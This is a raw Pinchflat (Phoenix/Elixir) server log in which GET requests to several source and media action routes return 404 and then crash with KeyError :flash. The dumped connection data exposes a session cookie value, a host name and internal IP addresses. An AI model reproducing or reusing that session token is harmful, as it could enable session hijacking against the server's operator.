s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.179 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.179 [error] #PID<0.36772.0> running PinchflatWeb.Endpoint (connection #PID<0.36675.0>, stream id 18) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36772.0>, params: %{}, path_info: ["sources", "10", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4NverGHbYHsAAWcD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: f (truncated) 21:43:13.185 [info] GET /sources/10/media/13812/force_download 21:43:13.186 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=42.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.187 [debug] QUERY OK source="settings" db=0.2ms idle=42.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.187 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.188 [error] #PID<0.36773.0> running PinchflatWeb.Endpoint (connection #PID<0.36675.0>, stream id 19) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/media/13812/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/media/13812/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/media/13812/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36773.0>, params: %{}, path_info: ["sources", "10", "media", "13812", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/media/13812/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4NxpL_-_OSMAAWcj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/media/13812/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/media/13812/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/media/13812/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3Ny (truncated) 21:43:13.286 [info] GET /sources/10/force_redownload 21:43:13.287 [debug] QUERY OK source="settings" db=0.4ms idle=108.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.288 [debug] QUERY OK source="settings" db=0.4ms idle=108.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.288 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.289 [error] #PID<0.36774.0> running PinchflatWeb.Endpoint (connection #PID<0.36675.0>, stream id 20) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36774.0>, params: %{}, path_info: ["sources", "10", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4OJoX0tjYwAAAWdD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRL (truncated) 21:43:13.356 [info] GET /sources/10/force_metadata_refresh 21:43:13.357 [info] GET /sources/10/sync_files_on_disk 21:43:13.358 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=170.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.358 [debug] QUERY OK source="settings" db=0.6ms idle=170.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.359 [debug] QUERY OK source="settings" db=0.4ms idle=157.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.359 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.359 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=71.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.360 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.360 [error] #PID<0.36776.0> running PinchflatWeb.Endpoint (connection #PID<0.36686.0>, stream id 24) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36776.0>, params: %{}, path_info: ["sources", "10", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", 